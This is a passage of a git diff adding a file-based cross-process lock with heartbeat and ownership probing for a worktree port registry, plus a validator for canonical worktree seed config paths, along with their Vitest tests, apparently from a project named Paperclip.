+      fs.utimesSync(lockPath, oldTimestamp, oldTimestamp);
+      firstEntered.resolve();
+      await releaseFirst.promise;
+    });
+    await firstEntered.promise;
+
+    expect(Date.now() - fs.statSync(lockPath).mtimeMs).toBeGreaterThan(5_000);
+
+    const second = withWorktreePortRegistryLock(homeDir, async () => {
+      secondEntered = true;
+    });
+    await delay(100);
+
+    expect(secondEntered).toBe(false);
+    releaseFirst.resolve();
+    await Promise.all([first, second]);
+    expect(secondEntered).toBe(true);
+  }, 10_000);
+
+  it("refreshes the lease throughout an async critical section", async () => {
+    const homeDir = makeTemporaryRoot();
+    const lockPath = path.join(homeDir, ".worktree-port-reservations.lock");
+
+    await withWorktreePortRegistryLock(homeDir, async () => {
+      await delay(5_250);
+      expect(Date.now() - fs.statSync(lockPath).mtimeMs).toBeLessThan(2_000);
+    });
+
+    expect(fs.existsSync(lockPath)).toBe(false);
+  }, 10_000);
+
+  it("reclaims an old lock after its owner process exits", async () => {
+    const homeDir = makeTemporaryRoot();
+    const lockPath = path.join(homeDir, ".worktree-port-reservations.lock");
+    fs.mkdirSync(lockPath);
+    fs.writeFileSync(
+      path.join(lockPath, "owner.json"),
+      `${JSON.stringify({
+        version: 1,
+        pid: 2_147_483_647,
+        processIdentity: "dead-process",
+        probePort: 1,
+        token: "dead-owner",
+      })}\n`,
+    );
+    const oldTimestamp = new Date(Date.now() - 10_000);
+    fs.utimesSync(lockPath, oldTimestamp, oldTimestamp);
+
+    let entered = false;
+    await withWorktreePortRegistryLock(homeDir, async () => {
+      entered = true;
+    });
+
+    expect(entered).toBe(true);
+    expect(fs.existsSync(lockPath)).toBe(false);
+  });
+
+  it("reclaims an old lock when its pid belongs to a different process", async () => {
+    const homeDir = makeTemporaryRoot();
+    const lockPath = path.join(homeDir, ".worktree-port-reservations.lock");
+    fs.mkdirSync(lockPath);
+    fs.writeFileSync(
+      path.join(lockPath, "owner.json"),
+      `${JSON.stringify({
+        version: 1,
+        pid: process.pid,
+        processIdentity: "reused-pid-owner",
+        probePort: 1,
+        token: "abandoned-owner",
+      })}\n`,
+    );
+    const oldTimestamp = new Date(Date.now() - 10_000);
+    fs.utimesSync(lockPath, oldTimestamp, oldTimestamp);
+
+    let entered = false;
+    await withWorktreePortRegistryLock(homeDir, async () => {
+      entered = true;
+    });
+
+    expect(entered).toBe(true);
+    expect(fs.existsSync(lockPath)).toBe(false);
+  });
+
+  it("refreshes the lease while a synchronous critical section blocks the main thread", () => {
+    const homeDir = makeTemporaryRoot();
+    const lockPath = path.join(homeDir, ".worktree-port-reservations.lock");
+    const blocker = new Int32Array(new SharedArrayBuffer(4));
+
+    withWorktreePortRegistryLockSync(homeDir, () => {
+      const oldTimestamp = new Date(Date.now() - 10_000);
+      fs.utimesSync(lockPath, oldTimestamp, oldTimestamp);
+      Atomics.wait(blocker, 0, 0, 1_500);
+      expect(Date.now() - fs.statSync(lockPath).mtimeMs).toBeLessThan(1_250);
+    });
+
+    expect(fs.existsSync(lockPath)).toBe(false);
+  });
+});
diff --git a/packages/shared/src/worktree-port-registry.ts b/packages/shared/src/worktree-port-registry.ts
new file mode 100644
index 00000000000..4c3a0a2b40d
--- /dev/null
+++ b/packages/shared/src/worktree-port-registry.ts
@@ -0,0 +1,411 @@
+import fs from "node:fs";
+import path from "node:path";
+import { execFileSync } from "node:child_process";
+import { randomUUID } from "node:crypto";
+import { setTimeout as delay } from "node:timers/promises";
+import { Worker } from "node:worker_threads";
+
+type WorktreePortRegistry = {
+  version: 1;
+  configPaths: string[];
+};
+
+const WORKTREE_PORT_REGISTRY_FILE = "worktree-port-reservations.json";
+const WORKTREE_PORT_REGISTRY_LOCK_DIR = ".worktree-port-reservations.lock";
+const WORKTREE_PORT_REGISTRY_LOCK_OWNER_FILE = "owner.json";
+const WORKTREE_PORT_REGISTRY_LOCK_OWNER_BACKUP_FILE = "owner.backup.json";
+const WORKTREE_PORT_REGISTRY_LOCK_STALE_MS = 5_000;
+const WORKTREE_PORT_REGISTRY_LOCK_TIMEOUT_MS = 10_000;
+const WORKTREE_PORT_REGISTRY_LOCK_HEARTBEAT_MS = 1_000;
+const WORKTREE_PORT_REGISTRY_LOCK_PROBE_TIMEOUT_MS = 500;
+const sleepSyncBuffer = new Int32Array(new SharedArrayBuffer(4));
+
+type RegistryLockOwner = {
+  version: 1;
+  pid: number;
+  processIdentity: string;
+  probePort: number;
+  token: string;
+};
+
+type RegistryLockLease = {
+  token: string;
+  worker: Worker;
+  control: Int32Array;
+  probePort: number;
+};
+
+const REGISTRY_LOCK_HEARTBEAT_SOURCE = `
+const fs = require("node:fs");
+const net = require("node:net");
+const path = require("node:path");
+const { parentPort, workerData } = require("node:worker_threads");
+const control = new Int32Array(workerData.control);
+function touchOwnedLock() {
+  let sawDifferentOwner = false;
+  for (const ownerFile of workerData.ownerFiles) {
+    try {
+      const owner = JSON.parse(fs.readFileSync(path.join(workerData.lockPath, ownerFile), "utf8"));
+      if (owner.token === workerData.token) {
+        try {
+          const now = new Date();
+          fs.utimesSync(workerData.lockPath, now, now);
+          return "refreshed";
+        } catch {
+          return "retry";
+        }
+      }
+      sawDifferentOwner = true;
+    } catch {
+      // The redundant owner file may still be readable.
+    }
+  }
+  return sawDifferentOwner ? "lost" : "retry";
+}
+let finished = false;
+let timer;
+function complete() {
+  Atomics.store(control, 0, 2);
+  Atomics.notify(control, 0);
+}
+function finish() {
+  if (finished) return;
+  finished = true;
+  if (timer) clearInterval(timer);
+  server.close(complete);
+  setTimeout(complete, 250).unref();
+}
+const server = net.createServer((socket) => {
+  socket.setEncoding("utf8");
+  socket.setTimeout(workerData.probeTimeoutMs, () => socket.destroy());
+  socket.once("data", (candidate) => {
+    socket.end(candidate === workerData.token ? "owned" : "denied");
+  });
+});
+parentPort.once("message", finish);
+server.once("error", () => {
+  Atomics.store(control, 0, -1);
+  Atomics.notify(control, 0);
+});
+server.listen(0, "127.0.0.1", () => {
+  const address = server.address();
+  if (!address || typeof address === "string") {
+    Atomics.store(control, 0, -1);
+    Atomics.notify(control, 0);
+    return;
+  }
+  Atomics.store(control, 2, address.port);
+  Atomics.store(control, 0, 1);
+  Atomics.notify(control, 0);
+  touchOwnedLock();
+  timer = setInterval(() => {
+    if (Atomics.load(control, 1) !== 0 || touchOwnedLock() === "lost") finish();
+  }, workerData.heartbeatMs);
+});
+`;
+
+const REGISTRY_LOCK_PROBE_SOURCE = `
+const net = require("node:net");
+const { workerData } = require("node:worker_threads");
+const control = new Int32Array(workerData.control);
+let finished = false;
+function finish(result) {
+  if (finished) return;
+  finished = true;
+  Atomics.store(control, 0, result);
+  Atomics.notify(control, 0);
+  process.exit(0);
+}
+const socket = net.createConnection({ host: "127.0.0.1", port: workerData.port });
+socket.setEncoding("utf8");
+socket.setTimeout(workerData.timeoutMs, () => finish(2));
+socket.once("connect", () => socket.write(workerData.token));
+socket.once("data", (response) => finish(response === "owned" ? 1 : 2));
+socket.once("error", () => finish(2));
+socket.once("close", () => finish(2));
+`;
+
+function resolveRegistryLockPath(homeDir: string): string {
+  fs.mkdirSync(homeDir, { recursive: true });
+  return path.resolve(homeDir, WORKTREE_PORT_REGISTRY_LOCK_DIR);
+}
+
+function readRegistryLockOwner(lockPath: string): RegistryLockOwner | null {
+  for (const ownerFile of [
+    WORKTREE_PORT_REGISTRY_LOCK_OWNER_FILE,
+    WORKTREE_PORT_REGISTRY_LOCK_OWNER_BACKUP_FILE,
+  ]) {
+    try {
+      const parsed = JSON.parse(
+        fs.readFileSync(path.join(lockPath, ownerFile), "utf8"),
+      ) as Partial<RegistryLockOwner>;
+      if (
+        parsed.version === 1
+        && Number.isInteger(parsed.pid)
+        && (parsed.pid ?? 0) > 0
+        && typeof parsed.processIdentity === "string"
+        && parsed.processIdentity.length > 0
+        && Number.isInteger(parsed.probePort)
+        && (parsed.probePort ?? 0) > 0
+        && (parsed.probePort ?? 0) <= 65_535
+        && typeof parsed.token === "string"
+        && parsed.token.length > 0
+      ) {
+        return parsed as RegistryLockOwner;
+      }
+    } catch {
+      // Try the redundant owner record.
+    }
+  }
+  return null;
+}
+
+function writeRegistryLockOwner(lockPath: string, owner: RegistryLockOwner): void {
+  const contents = `${JSON.stringify(owner)}\n`;
+  for (const ownerFile of [
+    WORKTREE_PORT_REGISTRY_LOCK_OWNER_FILE,
+    WORKTREE_PORT_REGISTRY_LOCK_OWNER_BACKUP_FILE,
+  ]) {
+    const ownerPath = path.join(lockPath, ownerFile);
+    const temporaryPath = `${ownerPath}.${owner.token}.tmp`;
+    fs.writeFileSync(temporaryPath, contents, { mode: 0o600 });
+    fs.renameSync(temporaryPath, ownerPath);
+  }
+}
+
+function isProcessAlive(pid: number): boolean {
+  try {
+    process.kill(pid, 0);
+    return true;
+  } catch (error) {
+    return !(error instanceof Error && "code" in error && error.code === "ESRCH");
+  }
+}
+
+function readProcessIdentity(pid: number): string | null {
+  if (!Number.isInteger(pid) || pid <= 0) return null;
+  if (process.platform === "linux") {
+    try {
+      const stat = fs.readFileSync(`/proc/${pid}/stat`, "utf8");
+      const commandEnd = stat.lastIndexOf(")");
+      if (commandEnd < 0) return null;
+      const fields = stat.slice(commandEnd + 1).trim().split(/\s+/);
+      const startTicks = fields[19];
+      if (!startTicks) return null;
+      const bootId = fs.readFileSync("/proc/sys/kernel/random/boot_id", "utf8").trim();
+      return bootId ? `linux:${bootId}:${startTicks}` : null;
+    } catch {
+      return null;
+    }
+  }
+
+  try {
+    if (process.platform === "win32") {
+      const ticks = execFileSync("powershell.exe", [
+        "-NoProfile",
+        "-NonInteractive",
+        "-Command",
+        `(Get-Process -Id ${pid}).StartTime.ToUniversalTime().Ticks`,
+      ], { encoding: "utf8", windowsHide: true }).trim();
+      return ticks ? `win32:${ticks}` : null;
+    }
+    const startedAt = execFileSync("ps", ["-o", "lstart=", "-p", String(pid)], {
+      encoding: "utf8",
+    }).trim();
+    return startedAt ? `${process.platform}:${startedAt}` : null;
+  } catch {
+    return null;
+  }
+}
+
+function probeRegistryLockOwner(owner: RegistryLockOwner): boolean {
+  const control = new Int32Array(new SharedArrayBuffer(4));
+  const worker = new Worker(REGISTRY_LOCK_PROBE_SOURCE, {
+    eval: true,
+    execArgv: [],
+    workerData: {
+      control: control.buffer,
+      port: owner.probePort,
+      timeoutMs: WORKTREE_PORT_REGISTRY_LOCK_PROBE_TIMEOUT_MS,
+      token: owner.token,
+    },
+  });
+  Atomics.wait(control, 0, 0, WORKTREE_PORT_REGISTRY_LOCK_PROBE_TIMEOUT_MS + 250);
+  const isOwner = Atomics.load(control, 0) === 1;
+  void worker.terminate();
+  return isOwner;
+}
+
+function removeStaleRegistryLock(lockPath: string): boolean {
+  try {
+    const ageMs = Date.now() - fs.statSync(lockPath).mtimeMs;
+    if (ageMs <= WORKTREE_PORT_REGISTRY_LOCK_STALE_MS) return false;
+    const owner = readRegistryLockOwner(lockPath);
+    if (owner && isProcessAlive(owner.pid)) {
+      if (probeRegistryLockOwner(owner)) return false;
+      const currentIdentity = readProcessIdentity(owner.pid);
+      if (owner.processIdentity === currentIdentity) return false;
+    }
+    const currentOwner = readRegistryLockOwner(lockPath);
+    if (owner ? currentOwner?.token !== owner.token : currentOwner !== null) return false;
+    const currentAgeMs = Date.now() - fs.statSync(lockPath).mtimeMs;
+    if (currentAgeMs <= WORKTREE_PORT_REGISTRY_LOCK_STALE_MS) return false;
+    fs.rmSync(lockPath, { recursive: true, force: true });
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function startRegistryLockHeartbeat(lockPath: string, token: string): RegistryLockLease {
+  const control = new Int32Array(new SharedArrayBuffer(12));
+  const worker = new Worker(REGISTRY_LOCK_HEARTBEAT_SOURCE, {
+    eval: true,
+    execArgv: [],
+    workerData: {
+      control: control.buffer,
+      heartbeatMs: WORKTREE_PORT_REGISTRY_LOCK_HEARTBEAT_MS,
+      lockPath,
+      ownerFiles: [
+        WORKTREE_PORT_REGISTRY_LOCK_OWNER_FILE,
+        WORKTREE_PORT_REGISTRY_LOCK_OWNER_BACKUP_FILE,
+      ],
+      probeTimeoutMs: WORKTREE_PORT_REGISTRY_LOCK_PROBE_TIMEOUT_MS,
+      token,
+    },
+  });
+  Atomics.wait(control, 0, 0, 2_000);
+  if (Atomics.load(control, 0) !== 1) {
+    void worker.terminate();
+    throw new Error(`Failed to start worktree port reservation lock heartbeat at ${lockPath}`);
+  }
+  const probePort = Atomics.load(control, 2);
+  if (probePort <= 0) {
+    void worker.terminate();
+    throw new Error(`Failed to start worktree port reservation lock probe at ${lockPath}`);
+  }
+  return { token, worker, control, probePort };
+}
+
+function stopRegistryLockHeartbeat(lease: RegistryLockLease): void {
+  Atomics.store(lease.control, 1, 1);
+  Atomics.notify(lease.control, 1);
+  lease.worker.postMessage("stop");
+  if (Atomics.load(lease.control, 0) === 1) {
+    Atomics.wait(lease.control, 0, 1, 2_000);
+  }
+  void lease.worker.terminate();
+}
+
+function acquireRegistryLock(lockPath: string, deadline: number): RegistryLockLease | null {
+  try {
+    fs.mkdirSync(lockPath);
+    const token = `${process.pid}-${randomUUID()}`;
+    let lease: RegistryLockLease | null = null;
+    try {
+      const processIdentity = readProcessIdentity(process.pid);
+      if (!processIdentity) {
+        throw new Error("Cannot determine worktree port reservation lock owner identity");
+      }
+      const owner: RegistryLockOwner = {
+        version: 1,
+        pid: process.pid,
+        processIdentity,
+        probePort: 1,
+        token,
+      };
+      writeRegistryLockOwner(lockPath, owner);
+      lease = startRegistryLockHeartbeat(lockPath, token);
+      writeRegistryLockOwner(lockPath, { ...owner, probePort: lease.probePort });
+      return lease;
+    } catch (error) {
+      if (lease) stopRegistryLockHeartbeat(lease);
+      fs.rmSync(lockPath, { recursive: true, force: true });
+      throw error;
+    }
+  } catch (error) {
+    const code = error instanceof Error && "code" in error ? error.code : null;
+    if (code !== "EEXIST") throw error;
+    if (removeStaleRegistryLock(lockPath)) return null;
+    if (Date.now() >= deadline) {
+      throw new Error(`Timed out waiting for worktree port reservation lock at ${lockPath}`);
+    }
+    return null;
+  }
+}
+
+function releaseRegistryLock(lockPath: string, lease: RegistryLockLease): void {
+  stopRegistryLockHeartbeat(lease);
+  const owner = readRegistryLockOwner(lockPath);
+  if (owner?.token !== lease.token) {
+    return;
+  }
+  fs.rmSync(lockPath, { recursive: true, force: true });
+}
+
+export function withWorktreePortRegistryLockSync<T>(homeDir: string, run: () => T): T {
+  const lockPath = resolveRegistryLockPath(homeDir);
+  const deadline = Date.now() + WORKTREE_PORT_REGISTRY_LOCK_TIMEOUT_MS;
+  let lease: RegistryLockLease | null = null;
+
+  while (!(lease = acquireRegistryLock(lockPath, deadline))) {
+    Atomics.wait(sleepSyncBuffer, 0, 0, 25);
+  }
+
+  try {
+    return run();
+  } finally {
+    releaseRegistryLock(lockPath, lease);
+  }
+}
+
+export async function withWorktreePortRegistryLock<T>(
+  homeDir: string,
+  run: () => Promise<T>,
+): Promise<T> {
+  const lockPath = resolveRegistryLockPath(homeDir);
+  const deadline = Date.now() + WORKTREE_PORT_REGISTRY_LOCK_TIMEOUT_MS;
+  let lease: RegistryLockLease | null = null;
+
+  while (!(lease = acquireRegistryLock(lockPath, deadline))) {
+    await delay(25);
+  }
+
+  try {
+    return await run();
+  } finally {
+    releaseRegistryLock(lockPath, lease);
+  }
+}
+
+export function readWorktreePortRegistry(homeDir: string): Set<string> {
+  const registryPath = path.resolve(homeDir, WORKTREE_PORT_REGISTRY_FILE);
+  if (!fs.existsSync(registryPath)) return new Set();
+
+  try {
+    const parsed = JSON.parse(fs.readFileSync(registryPath, "utf8")) as Partial<WorktreePortRegistry>;
+    if (parsed.version !== 1 || !Array.isArray(parsed.configPaths)) return new Set();
+    return new Set(
+      parsed.configPaths
+        .filter((configPath): configPath is string => typeof configPath === "string" && configPath.length > 0)
+        .map((configPath) => path.resolve(configPath)),
+    );
+  } catch {
+    return new Set();
+  }
+}
+
+export function writeWorktreePortRegistry(homeDir: string, configPaths: Iterable<string>): void {
+  fs.mkdirSync(homeDir, { recursive: true });
+  const registryPath = path.resolve(homeDir, WORKTREE_PORT_REGISTRY_FILE);
+  const persistedPaths = Array.from(new Set(Array.from(configPaths, (configPath) => path.resolve(configPath))))
+    .filter((configPath) => fs.existsSync(configPath))
+    .sort();
+  const registry: WorktreePortRegistry = {
+    version: 1,
+    configPaths: persistedPaths,
+  };
+  const temporaryPath = `${registryPath}.${process.pid}.tmp`;
+  fs.writeFileSync(temporaryPath, `${JSON.stringify(registry, null, 2)}\n`, { mode: 0o600 });
+  fs.renameSync(temporaryPath, registryPath);
+}
diff --git a/packages/shared/src/worktree-seed-source.test.ts b/packages/shared/src/worktree-seed-source.test.ts
new file mode 100644
index 00000000000..fa7688a6dde
--- /dev/null
+++ b/packages/shared/src/worktree-seed-source.test.ts
@@ -0,0 +1,187 @@
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, describe, expect, it } from "vitest";
+import { resolveCanonicalWorktreeSeedSource } from "./worktree-seed-source.js";
+
+const cleanup: string[] = [];
+
+function makeInstance(prefix: string, instanceId: string) {
+  const cwd = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
+  cleanup.push(cwd);
+  const configDir = path.join(cwd, ".paperclip");
+  const configPath = path.join(configDir, "config.json");
+  fs.mkdirSync(configDir, { recursive: true });
+  fs.writeFileSync(configPath, "{}\n");
+  fs.writeFileSync(path.join(configDir, ".env"), `PAPERCLIP_INSTANCE_ID=${instanceId}\n`);
+  return { cwd, configPath, instanceId };
+}
+
+/**
+ * A control plane's own instance root: `<home>/instances/<id>/config.json`, which
+ * names its instance by directory and has no adjacent .env.
+ */
+function makeInstanceRoot(instanceId: string) {
+  const home = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-seed-home-"));
+  cleanup.push(home);
+  const configDir = path.join(home, "instances", instanceId);
+  fs.mkdirSync(configDir, { recursive: true });
+  const configPath = path.join(configDir, "config.json");
+  fs.writeFileSync(configPath, "{}\n");
+  return { configPath, instanceId };
+}
+
+/** A managed project checkout: a plain clone with no `.paperclip` of its own. */
+function makePlainCheckout() {
+  const cwd = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-seed-checkout-"));
+  cleanup.push(cwd);
+  return cwd;
+}
+
+afterEach(() => {
+  for (const dir of cleanup.splice(0)) fs.rmSync(dir, { recursive: true, force: true });
+});
+
+describe("resolveCanonicalWorktreeSeedSource", () => {
+  it("returns only the registered base workspace config", () => {
+    const source = makeInstance("paperclip-seed-source-", "source-instance");
+    const target = makeInstance("paperclip-seed-target-", "target-instance");
+
+    expect(resolveCanonicalWorktreeSeedSource({
+      registeredBaseWorkspaceCwd: source.cwd,
+      targetConfigPath: target.configPath,
+      expectedTargetInstanceId: target.instanceId,
+      manifestSource: { configPath: source.configPath, instanceId: source.instanceId },
+      manifestTargetInstanceId: target.instanceId,
+    })).toMatchObject({
+      baseWorkspaceCwd: source.cwd,
+      configPath: source.configPath,
+      targetConfigPath: target.configPath,
+    });
+  });
+
+  it("takes the named source when the base workspace carries no config of its own", () => {
+    const baseCwd = makePlainCheckout();
+    const source = makeInstanceRoot("default");
+    const target = makeInstance("paperclip-seed-target-", "target-instance");
+
+    expect(resolveCanonicalWorktreeSeedSource({
+      registeredBaseWorkspaceCwd: baseCwd,
+      explicitSourceConfigPath: source.configPath,
+      targetConfigPath: target.configPath,
+      expectedTargetInstanceId: target.instanceId,
+      manifestSource: { configPath: source.configPath, instanceId: source.instanceId },
+      manifestTargetInstanceId: target.instanceId,
+    })).toMatchObject({
+      baseWorkspaceCwd: baseCwd,
+      configPath: source.configPath,
+      instanceId: "default",
+    });
+  });
+
+  it("rejects a dangling config symlink instead of falling back to the named source", () => {
+    const baseCwd = makePlainCheckout();
+    fs.mkdirSync(path.join(baseCwd, ".paperclip"), { recursive: true });
+    fs.symlinkSync(path.join(baseCwd, "absent.json"), path.join(baseCwd, ".paperclip", "config.json"));
+    const source = makeInstanceRoot("default");
+    const target = makeInstance("paperclip-seed-dangling-target-", "target-instance");
+
+    expect(() => resolveCanonicalWorktreeSeedSource({
+      registeredBaseWorkspaceCwd: baseCwd,
+      explicitSourceConfigPath: source.configPath,
+      targetConfigPath: target.configPath,
+      expectedTargetInstanceId: target.instanceId,
+      manifestSource: { configPath: source.configPath, instanceId: source.instanceId },
+      manifestTargetInstanceId: target.instanceId,
+    })).toThrow(/Registered source Paperclip config does not exist/);
+  });
+
+  it("fails closed when the declared config cannot be inspected", () => {
+    const baseCwd = makePlainCheckout();
+    // `.paperclip` as a regular file makes lstat report ENOTDIR, not ENOENT.
+    fs.writeFileSync(path.join(baseCwd, ".paperclip"), "not a directory\n");
+    const source = makeInstanceRoot("default");
+    const target = makeInstance("paperclip-seed-unreadable-target-", "target-instance");
+
+    expect(() => resolveCanonicalWorktreeSeedSource({
+      registeredBaseWorkspaceCwd: baseCwd,
+      explicitSourceConfigPath: source.configPath,
+      targetConfigPath: target.configPath,
+      expectedTargetInstanceId: target.instanceId,
+      manifestSource: { configPath: source.configPath, instanceId: source.instanceId },
+      manifestTargetInstanceId: target.instanceId,
+    })).toThrow(/cannot be inspected \(ENOTDIR\)/);
+  });
+
+  it("rejects a dangling .paperclip symlink instead of falling back to the named source", () => {
+    const baseCwd = makePlainCheckout();
+    // Resolving `.paperclip` fails before the probe reaches config.json, so the config
+    // entry reports ENOENT even though this workspace is malformed rather than plain.
+    fs.symlinkSync(path.join(baseCwd, "absent-dir"), path.join(baseCwd, ".paperclip"));
+    const source = makeInstanceRoot("default");
+    const target = makeInstance("paperclip-seed-dangling-parent-target-", "target-instance");
+
+    expect(() => resolveCanonicalWorktreeSeedSource({
+      registeredBaseWorkspaceCwd: baseCwd,
+      explicitSourceConfigPath: source.configPath,
+      targetConfigPath: target.configPath,
+      expectedTargetInstanceId: target.instanceId,
+      manifestSource: { configPath: source.configPath, instanceId: source.instanceId },
+      manifestTargetInstanceId: target.instanceId,
+    })).toThrow(/cannot be inspected \(ENOENT on its \.paperclip symlink target\)/);
+  });
+
+  it("takes the named source when .paperclip is a symlink to a directory with no config", () => {
+    const baseCwd = makePlainCheckout();
+    const linked = path.join(baseCwd, "linked-config-dir");
+    fs.mkdirSync(linked, { recursive: true });
+    fs.symlinkSync(linked, path.join(baseCwd, ".paperclip"));
+    const source = makeInstanceRoot("default");
+    const target = makeInstance("paperclip-seed-linked-empty-target-", "target-instance");
+
+    const resolved = resolveCanonicalWorktreeSeedSource({
+      registeredBaseWorkspaceCwd: baseCwd,
+      explicitSourceConfigPath: source.configPath,
+      targetConfigPath: target.configPath,
+      expectedTargetInstanceId: target.instanceId,
+      manifestSource: { configPath: source.configPath, instanceId: source.instanceId },
+      manifestTargetInstanceId: target.instanceId,
+    });
+
+    expect(resolved.configPath).toBe(source.configPath);
+    expect(resolved.instanceId).toBe("default");
+  });
+
+  it("fails closed when the base workspace carries no config and none is named", () => {
+    const baseCwd = makePlainCheckout();
+    const target = makeInstance("paperclip-seed-unnamed-target-", "target-instance");
+
+    expect(() => resolveCanonicalWorktreeSeedSource({
+      registeredBaseWorkspaceCwd: baseCwd,
+      targetConfigPath: target.configPath,
+      expectedTargetInstanceId: target.instanceId,
+      manifestSource: { configPath: target.configPath, instanceId: target.instanceId },
+      manifestTargetInstanceId: target.instanceId,
+    })).toThrow(/no Paperclip config of its own/);
+  });
+
+  it("fails closed without registration and when source equals target", () => {
+    const target = makeInstance("paperclip-seed-same-target-", "target-instance");
+    const diagnostic = { configPath: target.configPath, instanceId: target.instanceId };
+
+    expect(() => resolveCanonicalWorktreeSeedSource({
+      targetConfigPath: target.configPath,
+      expectedTargetInstanceId: target.instanceId,
+      manifestSource: diagnostic,
+      manifestTargetInstanceId: target.instanceId,
+    })).toThrow(/not registered/);
+
+    expect(() => resolveCanonicalWorktreeSeedSource({
+      registeredBaseWorkspaceCwd: target.cwd,
+      targetConfigPath: target.configPath,
+      expectedTargetInstanceId: target.instanceId,
+      manifestSource: diagnostic,
+      manifestTargetInstanceId: target.instanceId,
+    })).toThrow(/same canonical file/);
+  });
+});
diff --git a/packages/shared/src/worktree-seed-source.ts b/packages/shared/src/worktree-seed-source.ts
new file mode 100644
index 00000000000..3d1a09bed2d
--- /dev/null
+++ b/packages/shared/src/worktree-seed-source.ts
@@ -0,0 +1,227 @@
+import { existsSync, lstatSync, readFileSync, realpathSync, statSync, type Stats } from "node:fs";
+import path from "node:path";
+import { resolvePaperclipInstanceId } from "./home-paths.js";
+
+export type WorktreeSeedSourceDiagnostic = {
+  configPath?: unknown;
+  instanceId?: unknown;
+};
+
+export type CanonicalWorktreeSeedSource = {
+  baseWorkspaceCwd: string | null;
+  configPath: string;
+  instanceId: string;
+  targetConfigPath: string;
+  targetInstanceId: string;
+};
+
+export type RegisteredWorktreeSeedSourceInput = {
+  registeredBaseWorkspaceCwd?: string | null;
+  explicitSourceConfigPath?: string | null;
+  targetConfigPath: string;
+  expectedTargetInstanceId: string;
+};
+
+function readInstanceId(configPath: string, label: "source" | "target"): string {
+  const configDir = path.dirname(configPath);
+  const envPath = path.join(configDir, ".env");
+  if (!existsSync(envPath)) {
+    // An instance-root config (`<home>/instances/<id>/config.json`) names its instance
+    // by directory rather than by an adjacent .env; worktree configs always ship one.
+    if (path.basename(path.dirname(configDir)) === "instances") {
+      return resolvePaperclipInstanceId(path.basename(configDir));
+    }
+    throw new Error(`Registered ${label} Paperclip config is missing its adjacent .env instance pointer.`);
+  }
+  const contents = readFileSync(envPath, "utf8");
+  for (const rawLine of contents.split(/\r?\n/)) {
+    const match = rawLine.match(
+      /^\s*(?:export\s+)?PAPERCLIP_INSTANCE_ID\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s#]+))/,
+    );
+    const value = (match?.[1] ?? match?.[2] ?? match?.[3] ?? "").trim();
+    if (value) return value;
+  }
+  throw new Error(`Registered ${label} Paperclip config has no PAPERCLIP_INSTANCE_ID binding.`);
+}
+
+function errorCode(error: unknown): string {
+  return (error as NodeJS.ErrnoException | null)?.code ?? "unknown error";
+}
+
+/**
+ * Inspect a directory entry without following it, returning null only when it is absent.
+ *
+ * Any other failure means the declared path is unreadable or malformed, and a guess there
+ * would silently seed from a different instance.
+ */
+function inspectDeclaredEntry(entryPath: string, configPath: string, detail?: string): Stats | null {
+  try {
+    return lstatSync(entryPath);
+  } catch (error) {
+    if (errorCode(error) === "ENOENT") return null;
+    throw new Error(
+      `Registered base project workspace Paperclip config at ${configPath} cannot be inspected (${errorCode(error)}${detail ?? ""}).`,
+    );
+  }
+}
+
+/**
+ * Whether a base project workspace declares an instance config of its own.
+ *
+ * This tests directory entries and does not follow them. A dangling or aliased symlink,
+ * at the config itself or at the `.paperclip` directory holding it, still counts as a
+ * declared config, so the resolver rejects the malformed source instead of falling back
+ * to another one.
+ */
+export function baseWorkspaceDeclaresInstanceConfig(baseWorkspaceCwd: string): boolean {
+  const configDir = path.join(baseWorkspaceCwd, ".paperclip");
+  const configPath = path.join(configDir, "config.json");
+  if (inspectDeclaredEntry(configPath, configPath)) return true;
+
+  // The probe above resolves `.paperclip` before it reaches the config, so a broken link
+  // there also reports ENOENT. Only an absent or traversable `.paperclip` lets the caller
+  // name another source; a link that hides whatever it points at is malformed, not empty.
+  const configDirEntry = inspectDeclaredEntry(configDir, configPath, " on its .paperclip entry");
+  if (configDirEntry?.isSymbolicLink()) {
+    try {
+      statSync(configDir);
+    } catch (error) {
+      throw new Error(
+        `Registered base project workspace Paperclip config at ${configPath} cannot be inspected (${errorCode(error)} on its .paperclip symlink target).`,
+      );
+    }
+  }
+  return false;
+}
+
+function canonicalRegularFile(filePath: string, label: string): string {
+  const resolved = path.resolve(filePath);
+  let canonical: string;
+  try {
+    canonical = realpathSync(resolved);
+  } catch {
+    throw new Error(`${label} does not exist at ${resolved}.`);
+  }
+  if (canonical !== resolved || lstatSync(resolved).isSymbolicLink()) {
+    throw new Error(`${label} must be a canonical path and cannot use a symlink alias.`);
+  }
+  if (!lstatSync(canonical).isFile()) {
+    throw new Error(`${label} is not a regular file at ${canonical}.`);
+  }
+  return canonical;
+}
+
+/** Resolve the authoritative source and target identities without consulting diagnostics. */
+export function resolveRegisteredWorktreeSeedSource(
+  input: RegisteredWorktreeSeedSourceInput,
+): CanonicalWorktreeSeedSource {
+  const registeredCwd = input.registeredBaseWorkspaceCwd?.trim();
+  const explicitSource = input.explicitSourceConfigPath?.trim();
+  if (!registeredCwd && !explicitSource) {
+    throw new Error(
+      "Worktree seed source is not registered. Managed boot requires a project workspace; manual boot requires --from-config.",
+    );
+  }
+
+  let canonicalBaseCwd: string | null = null;
+  let registeredConfigPath: string | null = null;
+  if (registeredCwd) {
+    const resolvedRegisteredCwd = path.resolve(registeredCwd);
+    try {
+      canonicalBaseCwd = realpathSync(resolvedRegisteredCwd);
+    } catch {
+      throw new Error(`Registered base project workspace does not exist at ${resolvedRegisteredCwd}.`);
+    }
+    if (canonicalBaseCwd !== resolvedRegisteredCwd) {
+      throw new Error("Registered base project workspace must be canonical and cannot use a symlink alias.");
+    }
+    if (!lstatSync(canonicalBaseCwd).isDirectory()) {
+      throw new Error(`Registered base project workspace is not a directory at ${canonicalBaseCwd}.`);
+    }
+    // A base workspace that is a plain checkout carries no instance config of its own.
+    // The caller's explicit source supplies it, and stays subject to every check below.
+    registeredConfigPath = baseWorkspaceDeclaresInstanceConfig(canonicalBaseCwd)
+      ? path.join(canonicalBaseCwd, ".paperclip", "config.json")
+      : null;
+  }
+
+  const selectedPath = registeredConfigPath ?? explicitSource;
+  if (!selectedPath) {
+    throw new Error(
+      "Registered base project workspace has no Paperclip config of its own and no explicit source was provided.",
+    );
+  }
